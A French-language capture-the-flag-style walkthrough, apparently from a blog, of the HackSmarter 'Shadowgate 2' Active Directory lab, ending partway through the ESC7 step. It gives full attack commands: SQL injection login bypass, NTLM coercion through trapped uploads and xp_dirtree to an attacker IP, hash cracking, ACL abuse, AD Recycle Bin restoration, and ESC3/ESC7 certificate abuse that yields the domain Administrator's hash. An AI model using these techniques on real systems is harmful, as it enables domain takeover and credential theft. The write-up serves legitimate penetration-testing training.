ZNote Logo
ZNote
Labs PentesthardHackSmarter
09-08-2026
25 min

Lab Shadowgate 2 : Coercition NTLM en Chaîne, Restauration AD et ESC3/ESC7 vers l'Administrateur du Domaine

Pentest Active Directory complet démarrant d'un simple portail web développeur : injection SQL pour contourner l'authentification, coercition NTLM répétée (upload de fichier puis xp_dirtree MSSQL) pour capturer deux comptes, double chaîne d'abus d'ACL (ForceChangePassword, WriteOwner, GenericAll) cartographiée avec BloodHound, contournement d'une restriction logonHours, restauration d'un compte depuis la corbeille Active Directory, puis élévation finale à l'Administrateur du domaine via un enchaînement ESC3 (Enrollment Agent) et ESC7 (droits CA mal répartis).

Active Directory
SQL Injection
NTLM Coercion
Responder
BloodHound
GenericAll
WriteOwner
AD Recycle Bin
ADCS
ESC3
ESC7
Certipy
MSSQL
HackSmarter
Windows
Pentest

Contexte et Objectifs

ChampDétail
PlateformeHackSmarter
LienAccéder au lab
CibleSG-DC01.shadowgate.local, 10.1.88.150
OSWindows Server 2019 (Build 17763)
Domaineshadowgate.local
DifficultéDifficile

Scénario : ShadowGate fournit des solutions de cybersécurité à des entreprises internationales et est en cours de certification SOC 2. Hack Smarter est mandaté pour un test d'intrusion interne, avec pour objectif de trouver l'ensemble des vulnérabilités et, si possible, d'élever ses privilèges jusqu'à Administrateur du Domaine.

Kill chain :

Sortie
Recon web + OSINT équipe (noms, indices sur le portail dev)
        │
        ▼
Portail dev → SQLi (admin' OR '1'='1) → accès à l'upload de fichiers
        │
        ▼
Coercition NTLM (upload piégé) → hash mitch.r cracké → snitch1993
        │
        ▼
BloodHound → mitch.r → ForceChangePassword milo.w → WriteOwner svc_mssql
        │
        ▼
bloodyAD (chaîne) → milo.w puis svc_mssql compromis
        │
        ▼
MSSQL (xp_dirtree) → coercition NTLM → hash bogdan.r cracké → bogdan0126
        │
        ▼
BloodHound 2 → bogdan.r → GenericAll oscar.m → bypass logonHours → Flag user
        │
        ▼
Mail interne + Corbeille AD → restauration sam.h → ESC3 + ESC7 → Flag root

1. Reconnaissance

Commande
bash
rustscan -b 500 -a 10.1.88.150 -- -sC -sV -Pn

Output (extrait) :

Sortie
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: ShadowGate | Advanced Cyber Security Solutions
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: shadowgate.local)
| ssl-cert: Subject: commonName=SG-DC01.shadowgate.local
| Issuer: commonName=Shadowgate-CA/domainComponent=shadowgate
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp  open  mc-nmf        .NET Message Framing
54311/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
Service Info: Host: SG-DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required
|_clock-skew: mean: 0s, deviation: 0s, median: 0s

Machine typique de contrôleur de domaine (Kerberos, LDAP, SMB, WinRM, RDP), domaine shadowgate.local, machine SG-DC01. Le certificat SSL sur LDAPS révèle immédiatement une CA interne, Shadowgate-CA : ADCS est présent, une piste à garder en tête. Deux services sortent du lot par rapport aux labs précédents : le port 80 (contenu web) et 54311 (MSSQL Server 2019).

Commande
bash
nxc smb 10.1.88.150 -u '' -p '' --generate-hosts-file hosts --smb-timeout 30
echo "10.1.88.150 SG-DC01.shadowgate.local shadowgate.local SG-DC01" | sudo tee -a /etc/hosts

2. Énumération Web et OSINT

Le site vitrine sur le port 80 présente ShadowGate comme concepteur de solutions cybersécurité.

Page d'accueil du site ShadowGate

L'onglet Our Team liste les employés avec leur rôle, une mine d'informations pour la suite :

NomRôleDétail
Mitch RessekLead Developer & Platform AdminArchitecture de la plateforme sécurité
Bogdan RadzikIT Admin & Database SpecialistAdministration MSSQL
Milo WeisJunior IT AdministratorResponsable des comptes MSSQL dans l'AD
Oscar MazerathSecurity Operations AnalystRemote, responsable des comptes AD
Sam HadgesCertificate Manager & Enrollment AgentPoste vacant, a quitté l'entreprise
Daniel RamusSecurity Infrastructure EngineerArchitecture réseau
Ryan JamesClient Security SpecialistRelation client

Détail des rôles Bogdan et Milo liés à MSSQL

Suite de la page équipe

On construit une liste de noms candidats. Le compte de Sam Hadges est volontairement conservé dans la liste malgré son départ : la fiche précise qu'il a quitté l'équipe, mais rien ne garantit que ses accès aient été révoqués.

Fichier dump.txt avec les noms collectés

Le site ne présente rien d'autre d'exploitable en surface. On lance un brute force de sous-domaines :

Commande
bash
ffuf -u "http://shadowgate.local" \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -H "Host: FUZZ.shadowgate.local" -fs 63405

Un sous-domaine dev apparaît.

Découverte du sous-domaine dev

Après ajout à /etc/hosts, on tombe sur un portail développeur :

Portail développeur dev.shadowgate.local

Une note en bas de page donne trois informations décisives pour la suite de l'attaque :

Note du portail développeur

  • Le format des comptes dans l'AD est prénom.première lettre du nom (confirmé plus tard par l'énumération SMB)
  • L'authentification se fait par identifiant/mot de passe, un vecteur potentiel d'injection SQL
  • Tous les fichiers uploadés sont automatiquement déposés sur un partage dev$ et systématiquement vérifiés par Mitch Ressek

Cette dernière information est la clé de voûte de l'attaque à venir : si mitch.r ouvre systématiquement les fichiers uploadés depuis un partage réseau, un fichier piégé peut forcer son compte à s'authentifier vers un serveur contrôlé par l'attaquant.

Énumération SMB préliminaire

Commande
bash
nxc smb shadowgate.local -u '' -p '' --shares --smb-timeout 30
Sortie
SMB  10.1.88.150  445  SG-DC01  [+] shadowgate.local\:
SMB  10.1.88.150  445  SG-DC01  [-] Error enumerating shares: STATUS_ACCESS_DENIED
Commande
bash
nxc smb shadowgate.local -u 'guest' -p '' --shares --smb-timeout 30
Sortie
SMB  10.1.88.150  445  SG-DC01  [-] shadowgate.local\guest: STATUS_ACCOUNT_DISABLED

Le compte invité est désactivé, et la session null ne peut pas énumérer les partages. La piste web reste la plus prometteuse.


3. Injection SQL sur le Portail Dev

L'authentification se faisant par identifiant/mot de passe comme indiqué dans la note, on teste directement un payload d'injection SQL classique sur le champ de connexion :

Sortie
admin' OR '1'='1

Connexion réussie via injection SQL

L'authentification est contournée. Une fois connecté, le champ d'upload de fichiers annoncé par la note du portail est bien présent :

Champ d'upload de fichiers du portail dev


4. Coercition NTLM via Upload de Fichier

Référence : wgilescyber : Breaking NTLM, From Hash Capture to Domain Compromise / GitHub : xct/hashgrab

Comprendre l'Attaque

Le fichier à uploader n'est pas un fichier ordinaire : il embarque une instruction qui force l'application qui l'ouvre à se connecter à un partage SMB distant contrôlé par l'attaquant, un mécanisme de coercition. La note du portail indique que chaque fichier uploadé est vérifié par mitch.r depuis le partage dev$ : c'est donc le processus qui ouvre ce fichier, exécuté dans le contexte de mitch.r, qui va tenter cette connexion SMB. En se plaçant en position d'intercepteur (MITM) de cette tentative d'authentification, on capture le hash NTLM du compte, exactement le même principe de coercition NTLM déjà détaillé dans le lab VulnNet: Active pour un autre vecteur.

Exploitation

On démarre l'écoute :

Commande
bash
sudo responder -I tun0 -dwv

On génère les fichiers piégés avec hashgrab :

Commande
bash
hashgrab 10.200.77.189 exploit

Fichiers générés par hashgrab

On uploade un des fichiers via le portail dev :

Upload du fichier piégé sur le portail

Attente de la vérification du fichier

mitch.r ouvre le fichier peu après, déclenchant la connexion SMB forcée vers notre écoute Responder, qui capture le hash NTLMv2 :

Hash NTLM de mitch.r capturé

Cassage

Commande
bash
hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Mot de passe de mitch.r cracké

Sortie
mitch.r : snitch1993

5. Énumération avec mitch.r

Commande
bash
nxc smb shadowgate.local -u 'mitch.r' -p 'snitch1993' --users --smb-timeout 30
Sortie
SMB  10.1.88.150  445  SG-DC01  Administrator, Guest, krbtgt,
  daniel.r, ryan.j, svc_mssql, mitch.r, milo.w, oscar.m, bogdan.r

Le compte svc_mssql confirme l'existence d'un compte de service dédié à MSSQL, cohérent avec le port 54311 repéré en reconnaissance.

On teste l'ASREPRoast et le Kerberoasting sur la liste complète, sans résultat pour l'ASREPRoast :

Commande
bash
impacket-GetUserSPNs shadowgate.local/mitch.r:'snitch1993' -dc-ip 10.1.88.150 \
  -request -outputfile kerberoastables.txt
Sortie
ServicePrincipalName                          Name           MemberOf
MSSQLSvc/SG-DC01.shadowgate.local:1433        Administrator  Group Policy Creator Owners
MSSQLSvc/SG-DC01.shadowgate.local:SQLEXPRESS  Administrator  Group Policy Creator Owners

Résultat du Kerberoasting, SPN MSSQL porté par Administrator

Détail notable : le SPN MSSQL est directement porté par le compte Administrator lui-même, membre de Group Policy Creator Owners. Malgré cette piste intéressante, le hash récupéré résiste au cassage avec rockyou.txt. On bascule sur BloodHound pour cartographier d'autres chemins.


6. Cartographie BloodHound

Un seul compte administrateur de domaine existe, le compte builtin Administrator :

Un seul admin de domaine identifié dans BloodHound

Depuis mitch.r, un chemin en deux maillons se dessine :

Sortie
mitch.r ──(ForceChangePassword)──▶ milo.w ──(WriteOwner)──▶ svc_mssql

Chemin d'ACL depuis mitch.r jusqu'à svc_mssql

mitch.r peut réinitialiser directement le mot de passe de milo.w. Ce dernier est ensuite propriétaire potentiel de svc_mssql, ce qui ouvre la voie à un contrôle total via la chaîne WriteOwner puis WriteDacl implicite déjà détaillée dans les notes sur les ACLs

Référence : DACLs

Compromission de milo.w

On utilise les droits ForceChangePassword sur milo.w.

Commande
bash
bloodyad -d shadowgate.local -u mitch.r -p 'snitch1993' --host 10.1.88.150 \
  set password milo.w 'NewPass123!'
Sortie
[+] Password changed successfully!

Compromission de svc_mssql

milo.w ne dispose pas d'un droit direct pour changer le mot de passe de svc_mssql, seulement d'un WriteOwner. L'exploitation se fait donc en trois sous-étapes successives.

Étape 1 : Devenir propriétaire de svc_mssql :

Commande
bash
bloodyad -d shadowgate.local -u milo.w -p 'NewPass123!' --host 10.1.88.150 \
  set owner svc_mssql milo.w
Sortie
[+] Old owner S-1-5-21-...-512 is now replaced by milo.w on svc_mssql

Étape 2 : S'accorder GenericAll sur l'objet :

Commande
bash
bloodyad -d shadowgate.local -u milo.w -p 'NewPass123!' --host 10.1.88.150 \
  add genericAll svc_mssql milo.w
Sortie
[+] milo.w has now GenericAll on svc_mssql

Étape 3 : Changer le mot de passe de svc_mssql maintenant que le contrôle total est acquis :

Commande
bash
bloodyad -d shadowgate.local -u milo.w -p 'NewPass123!' --host 10.1.88.150 \
  set password svc_mssql 'NewPass123!'
Sortie
[+] Password changed successfully!
Sortie
svc_mssql : NewPass123!

7. Pentest MSSQL et Deuxième Coercition NTLM

Référence : tldr.inbrowser.app : mssqlclient.py / Hackviser : Pentesting MSSQL

On tente une connexion avec l'outil mssqlclient.py d'impacket et elle échoue :

Commande
bash
impacket-mssqlclient 'shadowgate.local/svc_mssql:NewPass123!'@shadowgate.local
Sortie
[-] ERROR(SG-DC01\SQLEXPRESS): Line 1: Login failed for user 'svc_mssql'.

svc_mssql étant un compte de domaine, il faut explicitement forcer l'authentification Windows plutôt que l'authentification SQL Server par défaut. Le flag -windows-auth corrige l'échec précédent.

Commande
bash
impacket-mssqlclient 'svc_mssql:NewPass123!'@shadowgate.local -windows-auth

Le flag -windows-auth corrige l'échec précédent

Une fois connecté, on liste les bases :

Liste des bases de données MSSQL, dont ShadowGate

L'accès à la base ShadowGate elle-même est refusé :

Accès refusé à la base ShadowGate

xp_cmdshell (la procédure étendue MSSQL permettant l'exécution de commandes système) est également indisponible :

xp_cmdshell désactivé

En revanche, xp_dirtree fonctionne, une procédure destinée à lister l'arborescence d'un dossier, y compris sur un chemin UNC distant :

xp_dirtree fonctionnel

C'est la même mécanique de coercition qu'à l'étape 4, mais déclenchée cette fois directement depuis le contexte du service MSSQL plutôt que via un upload de fichier.

Exploitation

Commande
bash
sudo responder -I tun0 -dwv

Depuis la session mssqlclient, on force le service à lister un partage factice :

Commande
sql
xp_dirtree '\\10.200.77.189\share';

Commande xp_dirtree exécutée vers le partage factice

Le service MSSQL, tournant avec les privilèges du compte bogdan.r (l'administrateur base de données identifié sur le site), tente cette connexion et expose son hash à notre écoute Responder :

Hash NTLM de bogdan.r capturé

Cassage

Commande
bash
hashcat -m 5600 -a 0 bogdan.hash /usr/share/wordlists/rockyou.txt

Mot de passe de bogdan.r cracké

Sortie
bogdan.r : bogdan0126

8. Cartographie BloodHound 2 et Compromission de oscar.m

bogdan.r dispose d'un droit GenericAll sur deux comptes, oscar.m et daniel.r :

Droits GenericAll de bogdan.r sur oscar.m et daniel.r

Choix de la cible : on privilégie oscar.m, membre du groupe IT Support, un profil à fort potentiel de privilèges supplémentaires :

oscar.m membre du groupe IT Support

oscar.m est également membre du groupe de gestion à distance (Remote Management), ce qui garantit un accès WinRM direct une fois le compte compromis :

oscar.m membre de Remote Management

On utilise les droits GenericAll sur oscar.m pour changer son mot de passe :

Commande
bash
bloodyad -d shadowgate.local -u bogdan.r -p 'bogdan0126' --host 10.1.88.150 \
  set password oscar.m 'NewPass123!'
Sortie
[+] Password changed successfully!

La validation des credentials échoue cependant avec un code d'erreur inattendu :

Commande
bash
nxc smb shadowgate.local -u oscar.m -p 'NewPass123!' --smb-timeout 30
Sortie
SMB  10.1.88.150  445  SG-DC01  [-] shadowgate.local\oscar.m:NewPass123! STATUS_INVALID_LOGON_HOURS

9. Contournement de la Restriction logonHours

Référence : 4sysops : Restrict and report logon hours for Active Directory accounts

Comprendre la Restriction

STATUS_INVALID_LOGON_HOURS signifie que le compte n'est pas autorisé à se connecter à l'heure actuelle. Ce comportement est piloté par l'attribut Active Directory logonHours, stocké sous la forme de 21 octets (168 bits, un par heure de la semaine sur 7 jours). Un bit à 1 autorise la connexion sur cette tranche horaire, un bit à 0 l'interdit, le tout exprimé en temps UTC. La fiche du site indiquait justement qu'Oscar était en "Remote Specialist" avec des horaires de présence sur site limités, cohérent avec une restriction logonHours réelle configurée sur son compte.

bogdan.r disposant d'un GenericAll sur oscar.m, il peut écrire directement cet attribut pour lever la restriction :

Commande
bash
bloodyad --host 10.1.88.150 -d shadowgate.local -u 'bogdan.r' -p 'bogdan0126' \
  set object oscar.m logonhours -v '////////////////////////////' --b64
Sortie
[!] Attribute encoding not supported for logonHours with bytes attribute type, using raw mode
[+] oscar.m's logonHours has been updated

On compte 28 / et voici pourquoi :

  • Un caractère Base64 encode 6 bits (la valeur maximale 111111, soit 63 en binaire, correspond au caractère /).

  • Structure des données : Une semaine comporte 7 jours de 24 heures, soit 24 bits par jour (1 bit par tranche d'une heure). L'ensemble de la semaine représente donc 7 * 24 = 168 bits, soit 21 octets.

  • Calcul de l'encodage : Chaque bloc de 3 octets (24 bits) se traduit exactement par 4 caractères Base64 (24 / 6 = 4). Pour 21 octets, on obtient ainsi une chaîne de 28 caractères (7 blocs * 4 caractères).

  • Résultat final : Lorsque l'accès est autorisé sans restriction (tous les bits positionnés à 1), la valeur binaire complète est une suite de 168 bits à 1. Encodée en Base64, elle produit la chaîne //////////////////////////// (le caractère / répété 28 fois).

Commande
bash
nxc smb shadowgate.local -u oscar.m -p 'NewPass123!' --smb-timeout 30

SMB         10.1.88.150     445    SG-DC01          [*] Windows 10 / Server 2019 Build 17763 x64 (name:SG-DC01) (domain:shadowgate.local) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.1.88.150     445    SG-DC01          [+] shadowgate.local\oscar.m:NewPass123!

Les credentials fonctionnent désormais.

Sortie
oscar.m : NewPass123!

10. Enumération Locale et Flag Utilisateur

On se connecte en tant que oscar.m:

Commande
bash
evil-winrm -u oscar.m -i 10.1.88.150 -p 'NewPass123!'

Le flag utilisateur est présent sur le bureau :

Flag utilisateur récupéré

En poursuivant l'exploration locale, un dossier Mails dans l'espace de oscar.m contient un fichier intéressant :

Dossier Mails trouvé dans l'espace de oscar.m

Contenu du mail interne

Ce mail confirme et complète plusieurs points :

  • Sam Hadges a bien été renvoyé, comme l'indiquait déjà le site
  • Ses accès devaient être supprimés (mais rien ne garantit que ce soit effectif)
  • Il était responsable du service de délivrance de certificats
  • Une opération récente a révélé des misconfigurations sur certains templates de certificats, sans qu'aucune exploitation n'ait été confirmée en interne

Trois pistes concrètes s'ouvrent ici : vérifier si le compte de Sam Hadges est réellement supprimé ou seulement désactivé, et explorer ADCS.


11. Restauration de sam.h depuis la Corbeille Active Directory

Référence : CravateRouge : Have You Looked in the Trash? Unearthing Privilege Escalations from the Active Directory Recycle Bin

Comprendre la Corbeille AD

Quand un objet Active Directory est supprimé, il n'est pas physiquement effacé : il est marqué isDeleted=TRUE, dépouillé de la plupart de ses attributs, et déplacé dans un conteneur spécial CN=Deleted Objects. Si la fonctionnalité AD Recycle Bin est activée sur le domaine, l'objet conserve l'intégralité de ses attributs (y compris ses appartenances à des groupes) durant une période de rétention configurable, et peut être restauré dans son état exact d'avant suppression.

La description du site indiquait qu'Oscar était zuständig für Active Directory Accounts (responsable des comptes AD, en allemand). C'est cette responsabilité fonctionnelle qui laisse penser qu'oscar.m pourrait disposer de droits sur la corbeille AD.

Vérification

Commande
bash
ldapsearch -H ldap://10.1.88.150 -x -D "oscar.m@shadowgate.local" -w 'NewPass123!' \
  -b "CN=Deleted Objects,DC=shadowgate,DC=local" \
  -E '!1.2.840.113556.1.4.417' \
  "(isDeleted=TRUE)" sAMAccountName objectClass distinguishedName

Le contrôle LDAP 1.2.840.113556.1.4.417 (Show Deleted Objects) est nécessaire pour que le conteneur Deleted Objects, normalement invisible, retourne des résultats.

sam.h présent dans la corbeille AD

sam.h est toujours présent, jamais réellement supprimé. On vérifie ensuite les droits de oscar.m sur cet objet avec bloodyAD :

Droits de oscar.m sur l'objet sam.h dans la corbeille

oscar.m dispose du droit d'écriture sur le propriétaire (WriteOwner) et sur la DACL (WriteDacl) de l'objet sam.h, en plus d'un droit de création d'enfant sur le conteneur. C'est amplement suffisant pour restaurer l'objet et en prendre le contrôle.

Restauration

On restaure le compte sam.h:

Commande
bash
bloodyad --host 10.1.88.150 -d shadowgate.local -u 'oscar.m' -p 'NewPass123!' \
  set restore 'sam.h'
Sortie
[+] sam.h has been restored successfully under CN=sam.h,CN=Users,DC=shadowgate,DC=local

Le compte redevient un objet actif normal de l'annuaire, mais avec un mot de passe inconnu (celui d'avant suppression). On le réinitialise directement, oscar.m conservant son GenericAll sur l'objet une fois celui-ci restauré :

Commande
bash
bloodyad --host 10.1.88.150 -d shadowgate.local -u 'oscar.m' -p 'NewPass123!' \
  set password 'sam.h' 'NewPass123!'
Sortie
[+] Password changed successfully!

La description restaurée du compte confirme son ancien rôle :

Description de sam.h après restauration : Certificate Manager & Enrollment Agent

Sortie
sam.h : NewPass123!

12. Découverte ADCS

Le compte sam.h, ancien responsable des certificats, est le candidat naturel pour explorer ADCS.

Commande
bash
certipy-ad find -u 'sam.h' -p 'NewPass123!' -dc-ip 10.1.88.150 \
  -target SG-DC01.shadowgate.local -vulnerable
Sortie
[-] Got error: socket connection error while opening: timed out

L'échec est cohérent avec le mail interne, qui mentionnait qu'un firewall bloque le port LDAPS (636), le port par défaut utilisé par Certipy pour ses requêtes. On force l'utilisation de LDAP en clair :

Commande
bash
certipy-ad find -u 'sam.h' -p 'NewPass123!' -dc-ip 10.1.88.150 \
  -target SG-DC01.shadowgate.local -vulnerable -ldap-scheme ldap
Sortie
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Successfully retrieved CA configuration for 'Shadowgate-CA'

Deux vulnérabilités distinctes ressortent : ESC3 sur un template, ESC7 sur la CA elle-même.

Sortie
json
{
  "Certificate Authorities": {
    "0": {
      "CA Name": "Shadowgate-CA",
      "DNS Name": "SG-DC01.shadowgate.local",
      "Certificate Subject": "CN=Shadowgate-CA, DC=shadowgate, DC=local",
      "Certificate Serial Number": "3DADB967D3C30DB94A9620C07D4332B0",
      "Certificate Validity Start": "2025-12-07 17:37:04+00:00",
      "Certificate Validity End": "2124-12-07 17:47:04+00:00",
      "Web Enrollment": {
        "http": {
          "enabled": false
        },
        "https": {
          "enabled": false,
          "channel_binding": null
        }
      },
      "User Specified SAN": "Disabled",
      "Request Disposition": "Issue",
      "Enforce Encryption for Requests": "Enabled",
      "Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
      "Permissions": {
        "Owner": "SHADOWGATE.LOCAL\\Administrators",
        "Access Rights": {
          "512": [
            "SHADOWGATE.LOCAL\\Authenticated Users",
            "SHADOWGATE.LOCAL\\sam.h"
          ],
          "1": [
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins",
            "SHADOWGATE.LOCAL\\Administrators",
            "SHADOWGATE.LOCAL\\sam.h"
          ],
          "2": [
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins",
            "SHADOWGATE.LOCAL\\Administrators"
          ],
          "256": ["SHADOWGATE.LOCAL\\sam.h"]
        }
      },
      "[+] User Enrollable Principals": [
        "SHADOWGATE.LOCAL\\sam.h",
        "SHADOWGATE.LOCAL\\Authenticated Users"
      ],
      "[+] User ACL Principals": ["SHADOWGATE.LOCAL\\sam.h"],
      "[!] Vulnerabilities": {
        "ESC7": "User has dangerous permissions."
      }
    }
  },
  "Certificate Templates": {
    "0": {
      "Template Name": "Shadowgate-EnrollmentAgent",
      "Display Name": "Shadowgate-EnrollmentAgent",
      "Certificate Authorities": ["Shadowgate-CA"],
      "Enabled": true,
      "Client Authentication": false,
      "Enrollment Agent": true,
      "Any Purpose": false,
      "Enrollee Supplies Subject": false,
      "Certificate Name Flag": [33554432, 2147483648],
      "Enrollment Flag": [32],
      "Private Key Flag": [16],
      "Extended Key Usage": ["Certificate Request Agent"],
      "Requires Manager Approval": false,
      "Requires Key Archival": false,
      "Authorized Signatures Required": 0,
      "Schema Version": 2,
      "Validity Period": "2 years",
      "Renewal Period": "6 weeks",
      "Minimum RSA Key Length": 2048,
      "Template Created": "2025-12-07 17:51:15+00:00",
      "Template Last Modified": "2025-12-07 17:51:19+00:00",
      "Permissions": {
        "Enrollment Permissions": {
          "Enrollment Rights": [
            "SHADOWGATE.LOCAL\\sam.h",
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins"
          ]
        },
        "Object Control Permissions": {
          "Owner": "SHADOWGATE.LOCAL\\Administrator",
          "Full Control Principals": [
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins"
          ],
          "Write Owner Principals": [
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins"
          ],
          "Write Dacl Principals": [
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins"
          ],
          "Write Property Enroll": [
            "SHADOWGATE.LOCAL\\Domain Admins",
            "SHADOWGATE.LOCAL\\Enterprise Admins"
          ]
        }
      },
      "[+] User Enrollable Principals": ["SHADOWGATE.LOCAL\\sam.h"],
      "[!] Vulnerabilities": {
        "ESC3": "Template has Certificate Request Agent EKU set."
      }
    }
  }
}

En temps normal on choisit une faille pour l'exploiter mais vu que nous sommes en mode apprentissage on va exploiter les failles les une après les autres.


13. ESC3 : Enrollment Agent Template Misconfiguration

Référence : Vaadata : AD CS Security, Understanding and Exploiting ESC Techniques

Présentation ESC3

ESC3 est une vulnérabilité de misconfiguration de template de certificat dans ADCS. Elle repose principalement sur l'utilisation abusive de l'Enrollment Agent, qui permet à un utilisateur de demander un certificat au nom d'un autre utilisateur. Les conditions suivantes doivent être réunies pour que ESC3 soit exploitable :

  1. Template avec EKU Certificate Request Agent : un template accessible à un utilisateur non privilégié contient l'EKU Certificate Request Agent, permettant au certificat obtenu d'être utilisé comme certificat d'Enrollment Agent.
Sortie
json
"Extended Key Usage": ["Certificate Request Agent"]
  1. Enrollment rights excessifs : l'utilisateur dispose du droit Enroll sur ce template.
Sortie
json
"Enrollment Rights": ["SHADOWGATE.LOCAL\\sam.h", "...Domain Admins", "...Enterprise Admins"]
  1. Template cible vulnérable : il existe un second template permettant l'authentification et sur lequel l'utilisateur peut demander un certificat, avec les conditions nécessaires à l'utilisation d'un Enrollment Agent.
Sortie
json
"Extended Key Usage": ["Client Authentication"]
  1. Pas d'approbation empêchant le processus : la configuration de la CA et des templates permet que la demande effectuée au nom d'un autre utilisateur soit traitée sans contrôle administratif bloquant.
Sortie
json
"Requires Manager Approval": false

Mécanisme

Étape 1 : Obtenir le rôle d’Enrollment Agent

L’attaquant s’enrôle sur un premier template (Template A) qui possède :

  • l’EKU Certificate Request Agent ;
  • des droits d’enrôlement ouverts (Enroll pour un utilisateur peu privilégié) ;
  • Requires Manager Approval: false et aucun nombre de signatures autorisées requis.

Résultat : l’attaquant obtient un certificat d’Enrollment Agent.

Étape 2 : Demander un certificat privilégié par procuration

L’attaquant utilise son certificat d’Enrollment Agent pour co-signer une demande sur un second template (Template B) qui permet l’authentification domaine. Il spécifie la cible via l’option -on-behalf-of (ex. DOMAIN\Administrator).

Résultat : la CA délivre un certificat d’authentification pour le compte ciblé. L’attaquant peut ensuite s’authentifier via Kerberos PKINIT (ou Schannel) avec ce certificat.

Pourquoi c'est exploitable ici

Le compte sam.h dispose d’un droit Enroll individuel explicite sur un template portant l’EKU Certificate Request Agent, sans approbation manager. C’est exactement le scénario ESC3.

Exploitation

Étape 1 : Obtention du certificat d'Enrollment Agent :

Commande
bash
certipy-ad req -u 'sam.h' -p 'NewPass123!' -dc-ip 10.1.88.150 \
  -target SG-DC01.shadowgate.local -ca Shadowgate-CA \
  -template Shadowgate-EnrollmentAgent -ldap-scheme ldap

-ca désigne l'autorité de certification à qui adresser la requête. -template précise le template ciblé, ici celui sur lequel sam.h a un droit Enroll.

Sortie
[*] Got certificate with UPN 'sam.h@shadowgate.local'
[*] Saving certificate and private key to 'sam.h.pfx'

Ce certificat ne représente pas une identité privilégiée : il représente sam.h lui-même, mais avec la capacité cryptographique de signer des demandes pour d'autres.

Étape 2 : La demande "au nom de"

Commande
bash
certipy-ad req -u 'sam.h' -p 'NewPass123!' -dc-ip 10.1.88.150 \
  -target SG-DC01.shadowgate.local -ca Shadowgate-CA -template 'User' \
  -on-behalf-of 'SHADOWGATE\Administrator' -pfx 'sam.h.pfx' -ldap-scheme ldap
Sortie
[*] Got certificate with UPN 'Administrator@shadowgate.local'
[*] Saving certificate and private key to 'administrator.pfx'

Authentification :

Commande
bash
certipy-ad auth -pfx administrator.pfx -dc-ip 10.1.88.150 -ldap-scheme ldap
Sortie
[*] Got hash for 'administrator@shadowgate.local': aad3b435b51404eeaad3b435b51404ee:a07b7bbc98b574afe52bbeb5d07d9c0a

ESC3 fonctionne et retourne bien le hash NTLM de l'Administrateur.


14. ESC7 : CA Access Control Misconfiguration

Référence : Certipy Wiki : ESC7, Dangerous Permissions on CA

Présentation ESC7

ESC7 est une vulnérabilité liée aux permissions dangereuses sur la Certificate Authority (CA) elle-même, et non sur un template. Les deux droits critiques sont :

  • ManageCA (CA Administrator) → contrôle total de la configuration de la CA (publication de templates, gestion des rôles, etc.)
  • ManageCertificates (Certificate Manager / Officer) → capacité d’approuver ou de rejeter les demandes de certificats en attente

Un utilisateur qui possède ManageCA peut s’auto-attribuer le rôle d’Officer (et donc obtenir ManageCertificates), puis forcer l’émission de certificats pour des comptes privilégiés.

Mécanisme

Étape 1 : S’octroyer le rôle manquant

Grâce à ManageCA, l’attaquant s’ajoute lui-même comme Certificate Officer. Il obtient ainsi le droit ManageCertificates qu’il ne possédait pas nativement.

Étape 2 : Préparer un template exploitable

Il publie (ou s’assure que) le template SubCA est activé sur la CA. Ce template permet de spécifier le sujet (Enrollee Supplies Subject) et possède des EKU très permissifs, mais seuls les administrateurs ont normalement le droit Enroll.

Étape 3 : Soumettre une demande volontairement rejetée

L’attaquant demande un certificat SubCA pour un compte privilégié (ex. Administrator). La demande est refusée faute de droit Enroll, mais génère un Request ID et une clé privée locale.

Étape 4 : Auto-approuver la demande

Grâce au rôle Officer obtenu à l’étape 1, l’attaquant force l’émission de la demande précédemment rejetée.

Étape 5 : Récupérer et utiliser le certificat

Il récupère le certificat maintenant émis, puis s’authentifie (Kerberos PKINIT / Schannel) en tant que le compte ciblé.

Pourquoi c'est exploitable ici

Le JSON des droits de la CA montre clairement le déséquilibre :

Sortie
json
"Access Rights": {
  "512": ["Authenticated Users", "sam.h"],
  "1": ["Domain Admins", "Enterprise Admins", "Administrators", "sam.h"],   // ManageCA
  "2": ["Domain Admins", "Enterprise Admins", "Administrators"],           // ManageCertificates
  "256": ["sam.h"]
}
  • sam.h possède le droit 1 (ManageCA)
  • sam.h ne possède pas le droit 2 (ManageCertificates)

C’est exactement ce déséquilibre qui impose la séquence d’étapes suivante : utiliser ManageCA pour s’octroyer artificiellement ManageCertificates, puis enchaîner.

Exploitation

Étape 1 : S’octroyer le rôle Certificate Officer (ManageCertificates)

Commande
bash
certipy-ad ca -u 'sam.h@shadowgate.local' -p 'NewPass123!' -ns '10.1.88.150' \
  -target 'SG-DC01.shadowgate.local' -ca 'Shadowgate-CA' -add-officer 'sam.h' -ldap-scheme ldap
Sortie
[*] Successfully added officer 'sam.h' on 'Shadowgate-CA'

Étape 2 : Publier le template SubCA

Commande
